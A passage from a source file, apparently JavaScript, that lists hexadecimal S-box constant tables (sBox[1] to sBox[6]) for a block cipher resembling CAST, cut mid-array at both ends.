0x449ccd82, 0xf7fbf265, 0xab85c5f3, 0x1b55db94, 0xaad4e324, 0xcfa4bd3f, 0x2deaa3e2, 0x9e204d02, 0xc8bd25ac, 0xeadf55b3, 0xd5bd9e98, 0xe31231b2, 0x2ad5ad6c, 0x954329de, 0xadbe4528, 0xd8710f69, 0xaa51c90f, 0xaa786bf6, 0x22513f1e, 0xaa51a79b, 0x2ad344cc, 0x7b5a41f0, 0xd37cfbad, 0x1b069505, 0x41ece491, 0xb4c332e6, 0x032268d4, 0xc9600acc, 0xce387e6d, 0xbf6bb16c, 0x6a70fb78, 0x0d03d9c9, 0xd4df39de, 0xe01063da, 0x4736f464, 0x5ad328d8, 0xb347cc96, 0x75bb0fc3, 0x98511bfb, 0x4ffbcc35, 0xb58bcf6a, 0xe11f0abc, 0xbfc5fe4a, 0xa70aec10, 0xac39570a, 0x3f04442f, 0x6188b153, 0xe0397a2e, 0x5727cb79, 0x9ceb418f, 0x1cacd68d, 0x2ad37c96, 0x0175cb9d, 0xc69dff09, 0xc75b65f0, 0xd9db40d8, 0xec0e7779, 0x4744ead4, 0xb11c3274, 0xdd24cb9e, 0x7e1c54bd, 0xf01144f9, 0xd2240eb1, 0x9675b3fd, 0xa3ac3755, 0xd47c27af, 0x51c85f4d, 0x56907596, 0xa5bb15e6, 0x580304f0, 0xca042cf1, 0x011a37ea, 0x8dbfaadb, 0x35ba3e4a, 0x3526ffa0, 0xc37b4d09, 0xbc306ed9, 0x98a52666, 0x5648f725, 0xff5e569d, 0x0ced63d0, 0x7c63b2cf, 0x700b45e1, 0xd5ea50f1, 0x85a92872, 0xaf1fbda7, 0xd4234870, 0xa7870bf3, 0x2d3b4d79, 0x42e04198, 0x0cd0ede7, 0x26470db8, 0xf881814c, 0x474d6ad7, 0x7c0c5e5c, 0xd1231959, 0x381b7298, 0xf5d2f4db, 0xab838653, 0x6e2f1e23, 0x83719c9e, 0xbd91e046, 0x9a56456e, 0xdc39200c, 0x20c8c571, 0x962bda1c, 0xe1e696ff, 0xb141ab08, 0x7cca89b9, 0x1a69e783, 0x02cc4843, 0xa2f7c579, 0x429ef47d, 0x427b169c, 0x5ac9f049, 0xdd8f0f00, 0x5c8165bf];\n\n sBox[1] = [0x1f201094, 0xef0ba75b, 0x69e3cf7e, 0x393f4380, 0xfe61cf7a, 0xeec5207a, 0x55889c94, 0x72fc0651, 0xada7ef79, 0x4e1d7235, 0xd55a63ce, 0xde0436ba, 0x99c430ef, 0x5f0c0794, 0x18dcdb7d, 0xa1d6eff3, 0xa0b52f7b, 0x59e83605, 0xee15b094, 0xe9ffd909, 0xdc440086, 0xef944459, 0xba83ccb3, 0xe0c3cdfb, 0xd1da4181, 0x3b092ab1, 0xf997f1c1, 0xa5e6cf7b, 0x01420ddb, 0xe4e7ef5b, 0x25a1ff41, 0xe180f806, 0x1fc41080, 0x179bee7a, 0xd37ac6a9, 0xfe5830a4, 0x98de8b7f, 0x77e83f4e, 0x79929269, 0x24fa9f7b, 0xe113c85b, 0xacc40083, 0xd7503525, 0xf7ea615f, 0x62143154, 0x0d554b63, 0x5d681121, 0xc866c359, 0x3d63cf73, 0xcee234c0, 0xd4d87e87, 0x5c672b21, 0x071f6181, 0x39f7627f, 0x361e3084, 0xe4eb573b, 0x602f64a4, 0xd63acd9c, 0x1bbc4635, 0x9e81032d, 0x2701f50c, 0x99847ab4, 0xa0e3df79, 0xba6cf38c, 0x10843094, 0x2537a95e, 0xf46f6ffe, 0xa1ff3b1f, 0x208cfb6a, 0x8f458c74, 0xd9e0a227, 0x4ec73a34, 0xfc884f69, 0x3e4de8df, 0xef0e0088, 0x3559648d, 0x8a45388c, 0x1d804366, 0x721d9bfd, 0xa58684bb, 0xe8256333, 0x844e8212, 0x128d8098, 0xfed33fb4, 0xce280ae1, 0x27e19ba5, 0xd5a6c252, 0xe49754bd, 0xc5d655dd, 0xeb667064, 0x77840b4d, 0xa1b6a801, 0x84db26a9, 0xe0b56714, 0x21f043b7, 0xe5d05860, 0x54f03084, 0x066ff472, 0xa31aa153, 0xdadc4755, 0xb5625dbf, 0x68561be6, 0x83ca6b94, 0x2d6ed23b, 0xeccf01db, 0xa6d3d0ba, 0xb6803d5c, 0xaf77a709, 0x33b4a34c, 0x397bc8d6, 0x5ee22b95, 0x5f0e5304, 0x81ed6f61, 0x20e74364, 0xb45e1378, 0xde18639b, 0x881ca122, 0xb96726d1, 0x8049a7e8, 0x22b7da7b, 0x5e552d25, 0x5272d237, 0x79d2951c, 0xc60d894c, 0x488cb402, 0x1ba4fe5b, 0xa4b09f6b, 0x1ca815cf, 0xa20c3005, 0x8871df63, 0xb9de2fcb, 0x0cc6c9e9, 0x0beeff53, 0xe3214517, 0xb4542835, 0x9f63293c, 0xee41e729, 0x6e1d2d7c, 0x50045286, 0x1e6685f3, 0xf33401c6, 0x30a22c95, 0x31a70850, 0x60930f13, 0x73f98417, 0xa1269859, 0xec645c44, 0x52c877a9, 0xcdff33a6, 0xa02b1741, 0x7cbad9a2, 0x2180036f, 0x50d99c08, 0xcb3f4861, 0xc26bd765, 0x64a3f6ab, 0x80342676, 0x25a75e7b, 0xe4e6d1fc, 0x20c710e6, 0xcdf0b680, 0x17844d3b, 0x31eef84d, 0x7e0824e4, 0x2ccb49eb, 0x846a3bae, 0x8ff77888, 0xee5d60f6, 0x7af75673, 0x2fdd5cdb, 0xa11631c1, 0x30f66f43, 0xb3faec54, 0x157fd7fa, 0xef8579cc, 0xd152de58, 0xdb2ffd5e, 0x8f32ce19, 0x306af97a, 0x02f03ef8, 0x99319ad5, 0xc242fa0f, 0xa7e3ebb0, 0xc68e4906, 0xb8da230c, 0x80823028, 0xdcdef3c8, 0xd35fb171, 0x088a1bc8, 0xbec0c560, 0x61a3c9e8, 0xbca8f54d, 0xc72feffa, 0x22822e99, 0x82c570b4, 0xd8d94e89, 0x8b1c34bc, 0x301e16e6, 0x273be979, 0xb0ffeaa6, 0x61d9b8c6, 0x00b24869, 0xb7ffce3f, 0x08dc283b, 0x43daf65a, 0xf7e19798, 0x7619b72f, 0x8f1c9ba4, 0xdc8637a0, 0x16a7d3b1, 0x9fc393b7, 0xa7136eeb, 0xc6bcc63e, 0x1a513742, 0xef6828bc, 0x520365d6, 0x2d6a77ab, 0x3527ed4b, 0x821fd216, 0x095c6e2e, 0xdb92f2fb, 0x5eea29cb, 0x145892f5, 0x91584f7f, 0x5483697b, 0x2667a8cc, 0x85196048, 0x8c4bacea, 0x833860d4, 0x0d23e0f9, 0x6c387e8a, 0x0ae6d249, 0xb284600c, 0xd835731d, 0xdcb1c647, 0xac4c56ea, 0x3ebd81b3, 0x230eabb0, 0x6438bc87, 0xf0b5b1fa, 0x8f5ea2b3, 0xfc184642, 0x0a036b7a, 0x4fb089bd, 0x649da589, 0xa345415e, 0x5c038323, 0x3e5d3bb9, 0x43d79572, 0x7e6dd07c, 0x06dfdf1e, 0x6c6cc4ef, 0x7160a539, 0x73bfbe70, 0x83877605, 0x4523ecf1];\n\n sBox[2] = [0x8defc240, 0x25fa5d9f, 0xeb903dbf, 0xe810c907, 0x47607fff, 0x369fe44b, 0x8c1fc644, 0xaececa90, 0xbeb1f9bf, 0xeefbcaea, 0xe8cf1950, 0x51df07ae, 0x920e8806, 0xf0ad0548, 0xe13c8d83, 0x927010d5, 0x11107d9f, 0x07647db9, 0xb2e3e4d4, 0x3d4f285e, 0xb9afa820, 0xfade82e0, 0xa067268b, 0x8272792e, 0x553fb2c0, 0x489ae22b, 0xd4ef9794, 0x125e3fbc, 0x21fffcee, 0x825b1bfd, 0x9255c5ed, 0x1257a240, 0x4e1a8302, 0xbae07fff, 0x528246e7, 0x8e57140e, 0x3373f7bf, 0x8c9f8188, 0xa6fc4ee8, 0xc982b5a5, 0xa8c01db7, 0x579fc264, 0x67094f31, 0xf2bd3f5f, 0x40fff7c1, 0x1fb78dfc, 0x8e6bd2c1, 0x437be59b, 0x99b03dbf, 0xb5dbc64b, 0x638dc0e6, 0x55819d99, 0xa197c81c, 0x4a012d6e, 0xc5884a28, 0xccc36f71, 0xb843c213, 0x6c0743f1, 0x8309893c, 0x0feddd5f, 0x2f7fe850, 0xd7c07f7e, 0x02507fbf, 0x5afb9a04, 0xa747d2d0, 0x1651192e, 0xaf70bf3e, 0x58c31380, 0x5f98302e, 0x727cc3c4, 0x0a0fb402, 0x0f7fef82, 0x8c96fdad, 0x5d2c2aae, 0x8ee99a49, 0x50da88b8, 0x8427f4a0, 0x1eac5790, 0x796fb449, 0x8252dc15, 0xefbd7d9b, 0xa672597d, 0xada840d8, 0x45f54504, 0xfa5d7403, 0xe83ec305, 0x4f91751a, 0x925669c2, 0x23efe941, 0xa903f12e, 0x60270df2, 0x0276e4b6, 0x94fd6574, 0x927985b2, 0x8276dbcb, 0x02778176, 0xf8af918d, 0x4e48f79e, 0x8f616ddf, 0xe29d840e, 0x842f7d83, 0x340ce5c8, 0x96bbb682, 0x93b4b148, 0xef303cab, 0x984faf28, 0x779faf9b, 0x92dc560d, 0x224d1e20, 0x8437aa88, 0x7d29dc96, 0x2756d3dc, 0x8b907cee, 0xb51fd240, 0xe7c07ce3, 0xe566b4a1, 0xc3e9615e, 0x3cf8209d, 0x6094d1e3, 0xcd9ca341, 0x5c76460e, 0x00ea983b, 0xd4d67881, 0xfd47572c, 0xf76cedd9, 0xbda8229c, 0x127dadaa, 0x438a074e, 0x1f97c090, 0x081bdb8a, 0x93a07ebe, 0xb938ca15, 0x97b03cff, 0x3dc2c0f8, 0x8d1ab2ec, 0x64380e51, 0x68cc7bfb, 0xd90f2788, 0x12490181, 0x5de5ffd4, 0xdd7ef86a, 0x76a2e214, 0xb9a40368, 0x925d958f, 0x4b39fffa, 0xba39aee9, 0xa4ffd30b, 0xfaf7933b, 0x6d498623, 0x193cbcfa, 0x27627545, 0x825cf47a, 0x61bd8ba0, 0xd11e42d1, 0xcead04f4, 0x127ea392, 0x10428db7, 0x8272a972, 0x9270c4a8, 0x127de50b, 0x285ba1c8, 0x3c62f44f, 0x35c0eaa5, 0xe805d231, 0x428929fb, 0xb4fcdf82, 0x4fb66a53, 0x0e7dc15b, 0x1f081fab, 0x108618ae, 0xfcfd086d, 0xf9ff2889, 0x694bcc11, 0x236a5cae, 0x12deca4d, 0x2c3f8cc5, 0xd2d02dfe, 0xf8ef5896, 0xe4cf52da, 0x95155b67, 0x494a488c, 0xb9b6a80c, 0x5c8f82bc, 0x89d36b45, 0x3a609437, 0xec00c9a9, 0x44715253, 0x0a874b49, 0xd773bc40, 0x7c34671c, 0x02717ef6, 0x4feb5536, 0xa2d02fff, 0xd2bf60c4, 0xd43f03c0, 0x50b4ef6d, 0x07478cd1, 0x006e1888, 0xa2e53f55, 0xb9e6d4bc, 0xa2048016, 0x97573833, 0xd7207d67, 0xde0f8f3d, 0x72f87b33, 0xabcc4f33, 0x7688c55d, 0x7b00a6b0, 0x947b0001, 0x570075d2, 0xf9bb88f8, 0x8942019e, 0x4264a5ff, 0x856302e0, 0x72dbd92b, 0xee971b69, 0x6ea22fde, 0x5f08ae2b, 0xaf7a616d, 0xe5c98767, 0xcf1febd2, 0x61efc8c2, 0xf1ac2571, 0xcc8239c2, 0x67214cb8, 0xb1e583d1, 0xb7dc3e62, 0x7f10bdce, 0xf90a5c38, 0x0ff0443d, 0x606e6dc6, 0x60543a49, 0x5727c148, 0x2be98a1d, 0x8ab41738, 0x20e1be24, 0xaf96da0f, 0x68458425, 0x99833be5, 0x600d457d, 0x282f9350, 0x8334b362, 0xd91d1120, 0x2b6d8da0, 0x642b1e31, 0x9c305a00, 0x52bce688, 0x1b03588a, 0xf7baefd5, 0x4142ed9c, 0xa4315c11, 0x83323ec5, 0xdfef4636, 0xa133c501, 0xe9d3531c, 0xee353783];\n\n sBox[3] = [0x9db30420, 0x1fb6e9de, 0xa7be7bef, 0xd273a298, 0x4a4f7bdb, 0x64ad8c57, 0x85510443, 0xfa020ed1, 0x7e287aff, 0xe60fb663, 0x095f35a1, 0x79ebf120, 0xfd059d43, 0x6497b7b1, 0xf3641f63, 0x241e4adf, 0x28147f5f, 0x4fa2b8cd, 0xc9430040, 0x0cc32220, 0xfdd30b30, 0xc0a5374f, 0x1d2d00d9, 0x24147b15, 0xee4d111a, 0x0fca5167, 0x71ff904c, 0x2d195ffe, 0x1a05645f, 0x0c13fefe, 0x081b08ca, 0x05170121, 0x80530100, 0xe83e5efe, 0xac9af4f8, 0x7fe72701, 0xd2b8ee5f, 0x06df4261, 0xbb9e9b8a, 0x7293ea25, 0xce84ffdf, 0xf5718801, 0x3dd64b04, 0xa26f263b, 0x7ed48400, 0x547eebe6, 0x446d4ca0, 0x6cf3d6f5, 0x2649abdf, 0xaea0c7f5, 0x36338cc1, 0x503f7e93, 0xd3772061, 0x11b638e1, 0x72500e03, 0xf80eb2bb, 0xabe0502e, 0xec8d77de, 0x57971e81, 0xe14f6746, 0xc9335400, 0x6920318f, 0x081dbb99, 0xffc304a5, 0x4d351805, 0x7f3d5ce3, 0xa6c866c6, 0x5d5bcca9, 0xdaec6fea, 0x9f926f91, 0x9f46222f, 0x3991467d, 0xa5bf6d8e, 0x1143c44f, 0x43958302, 0xd0214eeb, 0x022083b8, 0x3fb6180c, 0x18f8931e, 0x281658e6, 0x26486e3e, 0x8bd78a70, 0x7477e4c1, 0xb506e07c, 0xf32d0a25, 0x79098b02, 0xe4eabb81, 0x28123b23, 0x69dead38, 0x1574ca16, 0xdf871b62, 0x211c40b7, 0xa51a9ef9, 0x0014377b, 0x041e8ac8, 0x09114003, 0xbd59e4d2, 0xe3d156d5, 0x4fe876d5, 0x2f91a340, 0x557be8de, 0x00eae4a7, 0x0ce5c2ec, 0x4db4bba6, 0xe756bdff, 0xdd3369ac, 0xec17b035, 0x06572327, 0x99afc8b0, 0x56c8c391, 0x6b65811c, 0x5e146119, 0x6e85cb75, 0xbe07c002, 0xc2325577, 0x893ff4ec, 0x5bbfc92d, 0xd0ec3b25, 0xb7801ab7, 0x8d6d3b24, 0x20c763ef, 0xc366a5fc, 0x9c382880, 0x0ace3205, 0xaac9548a, 0xeca1d7c7, 0x041afa32, 0x1d16625a, 0x6701902c, 0x9b757a54, 0x31d477f7, 0x9126b031, 0x36cc6fdb, 0xc70b8b46, 0xd9e66a48, 0x56e55a79, 0x026a4ceb, 0x52437eff, 0x2f8f76b4, 0x0df980a5, 0x8674cde3, 0xedda04eb, 0x17a9be04, 0x2c18f4df, 0xb7747f9d, 0xab2af7b4, 0xefc34d20, 0x2e096b7c, 0x1741a254, 0xe5b6a035, 0x213d42f6, 0x2c1c7c26, 0x61c2f50f, 0x6552daf9, 0xd2c231f8, 0x25130f69, 0xd8167fa2, 0x0418f2c8, 0x001a96a6, 0x0d1526ab, 0x63315c21, 0x5e0a72ec, 0x49bafefd, 0x187908d9, 0x8d0dbd86, 0x311170a7, 0x3e9b640c, 0xcc3e10d7, 0xd5cad3b6, 0x0caec388, 0xf73001e1, 0x6c728aff, 0x71eae2a1, 0x1f9af36e, 0xcfcbd12f, 0xc1de8417, 0xac07be6b, 0xcb44a1d8, 0x8b9b0f56, 0x013988c3, 0xb1c52fca, 0xb4be31cd, 0xd8782806, 0x12a3a4e2, 0x6f7de532, 0x58fd7eb6, 0xd01ee900, 0x24adffc2, 0xf4990fc5, 0x9711aac5, 0x001d7b95, 0x82e5e7d2, 0x109873f6, 0x00613096, 0xc32d9521, 0xada121ff, 0x29908415, 0x7fbb977f, 0xaf9eb3db, 0x29c9ed2a, 0x5ce2a465, 0xa730f32c, 0xd0aa3fe8, 0x8a5cc091, 0xd49e2ce7, 0x0ce454a9, 0xd60acd86, 0x015f1919, 0x77079103, 0xdea03af6, 0x78a8565e, 0xdee356df, 0x21f05cbe, 0x8b75e387, 0xb3c50651, 0xb8a5c3ef, 0xd8eeb6d2, 0xe523be77, 0xc2154529, 0x2f69efdf, 0xafe67afb, 0xf470c4b2, 0xf3e0eb5b, 0xd6cc9876, 0x39e4460c, 0x1fda8538, 0x1987832f, 0xca007367, 0xa99144f8, 0x296b299e, 0x492fc295, 0x9266beab, 0xb5676e69, 0x9bd3ddda, 0xdf7e052f, 0xdb25701c, 0x1b5e51ee, 0xf65324e6, 0x6afce36c, 0x0316cc04, 0x8644213e, 0xb7dc59d0, 0x7965291f, 0xccd6fd43, 0x41823979, 0x932bcdf6, 0xb657c34d, 0x4edfd282, 0x7ae5290c, 0x3cb9536b, 0x851e20fe, 0x9833557e, 0x13ecf0b0, 0xd3ffb372, 0x3f85c5c1, 0x0aef7ed2];\n\n sBox[4] = [0x7ec90c04, 0x2c6e74b9, 0x9b0e66df, 0xa6337911, 0xb86a7fff, 0x1dd358f5, 0x44dd9d44, 0x1731167f, 0x08fbf1fa, 0xe7f511cc, 0xd2051b00, 0x735aba00, 0x2ab722d8, 0x386381cb, 0xacf6243a, 0x69befd7a, 0xe6a2e77f, 0xf0c720cd, 0xc4494816, 0xccf5c180, 0x38851640, 0x15b0a848, 0xe68b18cb, 0x4caadeff, 0x5f480a01, 0x0412b2aa, 0x259814fc, 0x41d0efe2, 0x4e40b48d, 0x248eb6fb, 0x8dba1cfe, 0x41a99b02, 0x1a550a04, 0xba8f65cb, 0x7251f4e7, 0x95a51725, 0xc106ecd7, 0x97a5980a, 0xc539b9aa, 0x4d79fe6a, 0xf2f3f763, 0x68af8040, 0xed0c9e56, 0x11b4958b, 0xe1eb5a88, 0x8709e6b0, 0xd7e07156, 0x4e29fea7, 0x6366e52d, 0x02d1c000, 0xc4ac8e05, 0x9377f571, 0x0c05372a, 0x578535f2, 0x2261be02, 0xd642a0c9, 0xdf13a280, 0x74b55bd2, 0x682199c0, 0xd421e5ec, 0x53fb3ce8, 0xc8adedb3, 0x28a87fc9, 0x3d959981, 0x5c1ff900, 0xfe38d399, 0x0c4eff0b, 0x062407ea, 0xaa2f4fb1, 0x4fb96976, 0x90c79505, 0xb0a8a774, 0xef55a1ff, 0xe59ca2c2, 0xa6b62d27, 0xe66a4263, 0xdf65001f, 0x0ec50966, 0xdfdd55bc, 0x29de0655, 0x911e739a, 0x17af8975, 0x32c7911c, 0x89f89468, 0x0d01e980, 0x524755f4, 0x03b63cc9, 0x0cc844b2, 0xbcf3f0aa, 0x87ac36e9, 0xe53a7426, 0x01b3d82b, 0x1a9e7449, 0x64ee2d7e, 0xcddbb1da, 0x01c94910, 0xb868bf80, 0x0d26f3fd, 0x9342ede7, 0x04a5c284, 0x636737b6, 0x50f5b616, 0xf24766e3, 0x8eca36c1, 0x136e05db, 0xfef18391, 0xfb887a37, 0xd6e7f7d4, 0xc7fb7dc9, 0x3063fcdf, 0xb6f589de, 0xec2941da, 0x26e46695, 0xb7566419, 0xf654efc5, 0xd08d58b7, 0x48925401, 0xc1bacb7f, 0xe5ff550f, 0xb6083049, 0x5bb5d0e8, 0x87d72e5a, 0xab6a6ee1, 0x223a66ce, 0xc62bf3cd, 0x9e0885f9, 0x68cb3e47, 0x086c010f, 0xa21de820, 0xd18b69de, 0xf3f65777, 0xfa02c3f6, 0x407edac3, 0xcbb3d550, 0x1793084d, 0xb0d70eba, 0x0ab378d5, 0xd951fb0c, 0xded7da56, 0x4124bbe4, 0x94ca0b56, 0x0f5755d1, 0xe0e1e56e, 0x6184b5be, 0x580a249f, 0x94f74bc0, 0xe327888e, 0x9f7b5561, 0xc3dc0280, 0x05687715, 0x646c6bd7, 0x44904db3, 0x66b4f0a3, 0xc0f1648a, 0x697ed5af, 0x49e92ff6, 0x309e374f, 0x2cb6356a, 0x85808573, 0x4991f840, 0x76f0ae02, 0x083be84d, 0x28421c9a, 0x44489406, 0x736e4cb8, 0xc1092910, 0x8bc95fc6, 0x7d869cf4, 0x134f616f, 0x2e77118d, 0xb31b2be1, 0xaa90b472, 0x3ca5d717, 0x7d161bba, 0x9cad9010, 0xaf462ba2, 0x9fe459d2, 0x45d34559, 0xd9f2da13, 0xdbc65487, 0xf3e4f94e, 0x176d486f, 0x097c13ea, 0x631da5c7, 0x445f7382, 0x175683f4, 0xcdc66a97, 0x70be0288, 0xb3cdcf72, 0x6e5dd2f3, 0x20936079, 0x459b80a5, 0xbe60e2db, 0xa9c23101, 0xeba5315c, 0x224e42f2, 0x1c5c1572, 0xf6721b2c, 0x1ad2fff3, 0x8c25404e, 0x324ed72f, 0x4067b7fd, 0x0523138e, 0x5ca3bc78, 0xdc0fd66e, 0x75922283, 0x784d6b17, 0x58ebb16e, 0x44094f85, 0x3f481d87, 0xfcfeae7b, 0x77b5ff76, 0x8c2302bf, 0xaaf47556, 0x5f46b02a, 0x2b092801, 0x3d38f5f7, 0x0ca81f36, 0x52af4a8a, 0x66d5e7c0, 0xdf3b0874, 0x95055110, 0x1b5ad7a8, 0xf61ed5ad, 0x6cf6e479, 0x20758184, 0xd0cefa65, 0x88f7be58, 0x4a046826, 0x0ff6f8f3, 0xa09c7f70, 0x5346aba0, 0x5ce96c28, 0xe176eda3, 0x6bac307f, 0x376829d2, 0x85360fa9, 0x17e3fe2a, 0x24b79767, 0xf5a96b20, 0xd6cd2595, 0x68ff1ebf, 0x7555442c, 0xf19f06be, 0xf9e0659a, 0xeeb9491d, 0x34010718, 0xbb30cab8, 0xe822fe15, 0x88570983, 0x750e6249, 0xda627e55, 0x5e76ffa8, 0xb1534546, 0x6d47de08, 0xefe9e7d4];\n\n sBox[5] = [0xf6fa8f9d, 0x2cac6ce1, 0x4ca34867, 0xe2337f7c, 0x95db08e7, 0x016843b4, 0xeced5cbc, 0x325553ac, 0xbf9f0960, 0xdfa1e2ed, 0x83f0579d, 0x63ed86b9, 0x1ab6a6b8, 0xde5ebe39, 0xf38ff732, 0x8989b138, 0x33f14961, 0xc01937bd, 0xf506c6da, 0xe4625e7e, 0xa308ea99, 0x4e23e33c, 0x79cbd7cc, 0x48a14367, 0xa3149619, 0xfec94bd5, 0xa114174a, 0xeaa01866, 0xa084db2d, 0x09a8486f, 0xa888614a, 0x2900af98, 0x01665991, 0xe1992863, 0xc8f30c60, 0x2e78ef3c, 0xd0d51932, 0xcf0fec14, 0xf7ca07d2, 0xd0a82072, 0xfd41197e, 0x9305a6b0, 0xe86be3da, 0x74bed3cd, 0x372da53c, 0x4c7f4448, 0xdab5d440, 0x6dba0ec3, 0x083919a7, 0x9fbaeed9, 0x49dbcfb0, 0x4e670c53, 0x5c3d9c01, 0x64bdb941, 0x2c0e636a, 0xba7dd9cd, 0xea6f7388, 0xe70bc762, 0x35f29adb, 0x5c4cdd8d, 0xf0d48d8c, 0xb88153e2, 0x08a19866, 0x1ae2eac8, 0x284caf89, 0xaa928223, 0x9334be53, 0x3b3a21bf, 0x16434be3, 0x9aea3906, 0xefe8c36e, 0xf890cdd9, 0x80226dae, 0xc340a4a3, 0xdf7e9c09, 0xa694a807, 0x5b7c5ecc, 0x221db3a6, 0x9a69a02f, 0x68818a54, 0xceb2296f, 0x53c0843a, 0xfe893655, 0x25bfe68a, 0xb4628abc, 0xcf222ebf, 0x25ac6f48, 0xa9a99387, 0x53bddb65, 0xe76ffbe7, 0xe967fd78, 0x0ba93563, 0x8e342bc1, 0xe8a11be9, 0x4980740d, 0xc8087dfc, 0x8de4bf99, 0xa11101a0, 0x7fd37975, 0xda5a26c0, 0xe81f994f, 0x9528cd89, 0xfd339fed, 0xb87834bf, 0x5f04456d, 0x22258698, 0xc9c4c83b, 0x2dc156be, 0x4f628daa, 0x57f55ec5, 0xe2220abe, 0xd2916ebf, 0x4ec75b95, 0x24f2c3c0, 0x42d15d99, 0xcd0d7fa0, 0x7b6e27ff, 0xa8dc8af0, 0x7345c106, 0xf41e232f, 0x35162386, 0xe6ea8926, 0x3333b094, 0x157ec6f2, 0x372b74af, 0x692573e4, 0xe9a9d848, 0xf3160289, 0x3a62ef1d, 0xa787e238, 0xf3a5f676, 0x74364853, 0x20951063, 0x4576698d, 0xb6fad407, 0x592af950, 0x36f73523, 0x4cfb6e87, 0x7da4cec0, 0x6c152daa, 0xcb0396a8, 0xc50dfe5d, 0xfcd707ab, 0x0921c42f, 0x89dff0bb, 0x5fe2be78, 0x448f4f33, 0x754613c9, 0x2b05d08d, 0x48b9d585, 0xdc049441, 0xc8098f9b, 0x7dede786, 0xc39a3373, 0x42410005, 0x6a091751, 0x0ef3c8a6, 0x890072d6, 0x28207682, 0xa9a9f7be, 0xbf32679d, 0xd45b5b75, 0xb353fd00, 0xcbb0e358, 0x830f220a, 0x1f8fb214, 0xd372cf08, 0xcc3c4a13, 0x8cf63166, 0x061c87be, 0x88c98f88, 0x6062e397, 0x47cf8e7a, 0xb6c85283, 0x3cc2acfb, 0x3fc06976, 0x4e8f0252, 0x64d8314d, 0xda3870e3, 0x1e665459, 0xc10908f0, 0x513021a5, 0x6c5b68b7, 0x822f8aa0, 0x3007cd3e, 0x74719eef, 0xdc872681, 0x073340d4, 0x7e432fd9, 0x0c5ec241, 0x8809286c, 0xf592d891, 0x08a930f6, 0x957ef305, 0xb7fbffbd, 0xc266e96f, 0x6fe4ac98, 0xb173ecc0, 0xbc60b42a, 0x953498da, 0xfba1ae12, 0x2d4bd736, 0x0f25faab, 0xa4f3fceb, 0xe2969123, 0x257f0c3d, 0x9348af49, 0x361400bc, 0xe8816f4a, 0x3814f200, 0xa3f94043, 0x9c7a54c2, 0xbc704f57, 0xda41e7f9, 0xc25ad33a, 0x54f4a084, 0xb17f5505, 0x59357cbe, 0xedbd15c8, 0x7f97c5ab, 0xba5ac7b5, 0xb6f6deaf, 0x3a479c3a, 0x5302da25, 0x653d7e6a, 0x54268d49, 0x51a477ea, 0x5017d55b, 0xd7d25d88, 0x44136c76, 0x0404a8c8, 0xb8e5a121, 0xb81a928a, 0x60ed5869, 0x97c55b96, 0xeaec991b, 0x29935913, 0x01fdb7f1, 0x088e8dfa, 0x9ab6f6f5, 0x3b4cbf9f, 0x4a5de3ab, 0xe6051d35, 0xa0e1d855, 0xd36b4cf1, 0xf544edeb, 0xb0e93524, 0xbebb8fbd, 0xa2d762cf, 0x49c92f54, 0x38b5f331, 0x7128a454, 0x48392905, 0xa65b1db8, 0x851c97bd, 0xd675cf2f];\n\n sBox[6] = [0x85e04019, 0x332bf567, 0x662dbfff, 0xcfc65693, 0x2a8d7f6f, 0xab9bc912, 0xde6008a1, 0x2028da1f, 0x0227bce7, 0x4d642916, 0x18fac300, 0x50f18b82, 0x2cb2cb11, 0xb232e75c, 0x4b3695f2, 0xb28707de, 0xa05fbcf6, 0xcd4181e9, 0xe150210c, 0xe24ef1bd, 0xb168c381, 0xfde4e789, 0x5c79b0d8, 0x1e8bfd43, 0x4d495001, 0x38be4341, 0x913cee1d, 0x92a79c3f, 0x089766be, 0xbaeeadf4, 0x1286becf, 0xb6eacb19, 0x2660c200, 0x7565bde4, 0x64241f7a, 0x8248dca9, 0xc3b3ad66, 0x28136086, 0x0bd8dfa8, 0x356d1cf2, 0x107789be, 0xb3b2e9ce, 0x0502aa8f, 0x0bc0351e, 0x166bf52a, 0xeb12ff82, 0xe3486911, 0xd34d7516, 0x4e7b3aff, 0x5f43671b, 0x9cf6e037, 0x4981ac83, 0x334266ce, 0x8c9341b7, 0xd0d854c0, 0xcb3a6c88, 0x47bc2829, 0x4725ba37, 0xa66ad22b, 0x7ad61f1e, 0x0c5cbafa, 0x4437f107, 0xb6e79962, 0x42d2d816, 0x0a961288, 0xe1a5c06e, 0x13749e67, 0x72fc081a, 0xb1d139f7, 0xf9583745, 0xcf19df58, 0xbec3f756, 0xc06eba30, 0x07211b24, 0x45c28829, 0xc95e317f, 0xbc8ec511, 0x38bc46e9, 0xc6e6fa14, 0xbae8584a, 0xad4ebc46, 0x468f508b, 0x7829435f, 0xf124183b, 0x821dba9f, 0xaff60ff4, 0xea2c4e6d, 0x16e39264, 0x92544a8b, 0x009b4fc3, 0xaba68ced, 0x9ac96f78, 0x06a5b79a, 0xb2856e6e, 0x1aec3ca9, 0xbe838688, 0x0e0804e9, 0x55f1be56, 0xe7e5363b, 0xb3a1f25d, 0xf7debb85, 0x61fe033c, 0x16746233, 0x3c034c28, 0xda6d0c74, 0x79aac56c, 0x3ce4e1ad, 0x51f0c802, 0x98f8f35a, 0x1626a49f, 0xeed82b29, 0x1d382fe3, 0x0c4fb99a, 0xbb325778, 0x3ec6d97b, 0x6e77a6a9, 0xcb658b5c, 0xd45230c7, 0x2bd1408b, 0x60c03eb7, 0xb9068d78, 0xa33754f4, 0xf430c87d, 0xc8a71302, 0xb96d8c32, 0xebd4e7be, 0xbe8b9d2d, 0x7979fb06, 0xe7225308, 0x8b75cf77, 0x11ef8da4, 0xe083c858, 0x8d6b786f, 0x5a6317a6, 0xfa5cf7a0, 0x5dda0033, 0xf28ebfb0, 0xf5b9c310, 0xa0eac280, 0x08b9767a, 0xa3d9d2b0, 0x79d34217, 0x021a718d, 0x9ac6336a, 0x2711fd60, 0x438050e3, 0x069908a8, 0x3d7fedc4, 0x826d2bef, 0x4eeb8476, 0x488dcf25, 0x36c9d566, 0x28e74e41, 0xc2610aca, 0x3d49a9cf, 0xbae3b9df, 0xb65f8de6, 0x92aeaf64, 0x3ac7d5e6, 0x9ea80509, 0xf22b017d, 0xa4173f70, 0xdd1e16c3, 0x15e0d7f9, 0x50b1b887, 0x2b9f4fd5, 0x625aba82, 0x6a017962, 0x2ec01b9c, 0x15488aa9, 0xd716e740, 0x40055a2c, 0x93d29a22, 0xe32dbf9a, 0x058745b9, 0x3453dc1e, 0xd699296e, 0x496cff6f, 0x1c9f4986, 0xdfe2ed07, 0xb87242d1, 0x19de7eae, 0x053e561a, 0x15ad6f8c, 0x66626c1c, 0x7154c24c, 0xea082b2a, 0x93eb2939, 0x17dcb0f0, 0x58d4f2ae, 0x9ea294fb, 0x52cf564c, 